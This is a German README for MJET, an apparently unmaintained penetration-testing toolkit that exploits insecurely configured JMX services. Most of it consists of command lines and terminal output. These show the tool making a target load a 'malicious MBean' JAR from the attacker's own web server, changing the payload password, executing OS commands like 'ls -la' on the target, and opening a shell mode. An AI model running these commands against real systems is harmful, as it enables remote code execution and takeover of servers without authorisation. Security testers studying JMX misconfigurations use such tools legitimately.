
MOGWAI LABS JMX-Exploitation-Toolkit
MOGWAI LABS JMX-Exploitation-Toolkit
MJET ist ein Fork von sjet, das von siberas entwickelt wurde, aber nicht mehr aktiv gepflegt wird. MJET wird vom MOGWAI LABS-Team gepflegt, das auch den Großteil der ursprünglichen sjet-Codebasis bereitgestellt hat.
MJET ermöglicht die einfache Ausnutzung unsicher konfigurierter JMX-Dienste. Weitere Hintergrundinformationen finden Sie hier und hier.
Dieses Repository wird nicht mehr aktiv gepflegt. Wir empfehlen stattdessen die Verwendung von qtcs beanshooter.
MJET implementiert eine CLI-Schnittstelle (unter Verwendung von argparse):
jython mjet.py targetHost targetPort MODE password (modeOptions)
Wobei
Authentifizierungsunterstützung (falls JMX-Authentifizierung aktiviert ist):
Weitere optionale Argumente:
Im folgenden Beispiel läuft der verwundbare JMX-Dienst auf 10.165.188.23 Port 2222, der Angreifer hat die IP-Adresse 10.165.188.1. Der JMX-Dienst verbindet sich mit dem Webdienst des Angreifers, um die Payload-JAR-Datei herunterzuladen. MJET startet den benötigten Webdienst auf Port 8000.
Nach der erfolgreichen Installation der MBean wird das Standardpasswort in das Passwort geändert, das an der Befehlszeile angegeben wurde ("super_secret").
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>
Installation mit JMX-Anmeldedaten (erfordert ebenfalls eine schwache Konfiguration des Servers):
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password
h0ng10@rocksteady:~/mjet$
Nachdem die Payload installiert wurde, können wir sie verwenden, um Betriebssystembefehle auf dem Ziel auszuführen.
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
[+] Done
h0ng10@rocksteady ~/w/mjet>
Wenn Sie nicht für jeden Befehl Java laden möchten, können Sie den "Shell-Modus" verwenden, um eine eingeschränkte Befehlsshell zu erhalten.
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret